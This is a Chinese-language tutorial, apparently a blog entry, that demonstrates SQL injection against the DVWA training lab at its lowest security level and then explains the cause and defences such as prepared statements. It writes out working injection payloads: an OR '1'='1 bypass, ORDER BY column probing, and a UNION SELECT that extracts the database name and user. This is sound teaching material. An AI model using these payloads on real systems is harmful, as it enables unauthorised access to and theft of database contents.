在體驗完Command Injection後,今天我們要深入Web資安最經典、危害也極大的漏洞:SQL Injection。SQL注入漏洞常年佔據OWASP Top 10前列,一旦被攻擊者利用,可能導致整座資料庫的敏感資料(如帳號密碼、個資、交易紀錄)遭到竊取或篡改。
什麼是SQL Injection?
當Web應用程式需要向資料庫查詢資料時,若直接將使用者輸入的內容拼接到SQL語法中,且未進行嚴格的過濾或轉義,攻擊者就可以輸入精心設計的SQL語法,改變原本SQL語法的邏輯結構,進而執行任意資料庫指令。
DVWA 實作步驟(Low 安全等級)
進入DVWA左側選單SQL Injection,畫面提供了一個輸入User ID查詢使用者名稱的功能。
1.第一步:基礎邏輯破壞
輸入經典的邏輯繞過語法:
1' OR '1'='1
結果:成功列出資料庫內的所有使用者(admin, Gordon, Hack 等)。
輸入:1' ORDER BY 1 #
結果:測試 1 個欄位,正常
輸入:1' ORDER BY 2 #
結果:測試 2 個欄位,正常
輸入:1' ORDER BY 3 #
結果:畫面跳出錯誤訊息(Unknown column '3'),代表原始查詢只有 2 個欄位。
3.第三步:敏感資訊撈取
得知欄位數為 2 後,即可利用 UNION SELECT 結合自訂查詢,印出系統敏感資訊:
輸入:1' UNION SELECT database(), user() #
結果:頁面成功顯示出目前資料庫名稱為 dvwa,以及相關運行權限。
漏洞成因分析
程式碼直接將變數 $id 用字串拼接的方式放入 SQL 查詢中,完全沒有經過任何過濾與參數化處理,導致使用者輸入的單引號 ' 能夠直接閉合原始字串並插入新語法。
如何正確防禦 SQL Injection?
1.使用預編譯查詢:
這是防禦sQL注入最有效且最標準的方式。將SQL語法結構與傳入的參數資料分開處理,資料庫只會把參數當成純字串,絕不會將其當成指令執行。
2.使用ORM框架:使用現代Web框架內建的資料庫存取層,預設皆會進行參數化防護。
3.最小權限原則:資料庫連線帳號僅賦予必要的讀寫權限,避免使用高權限連線。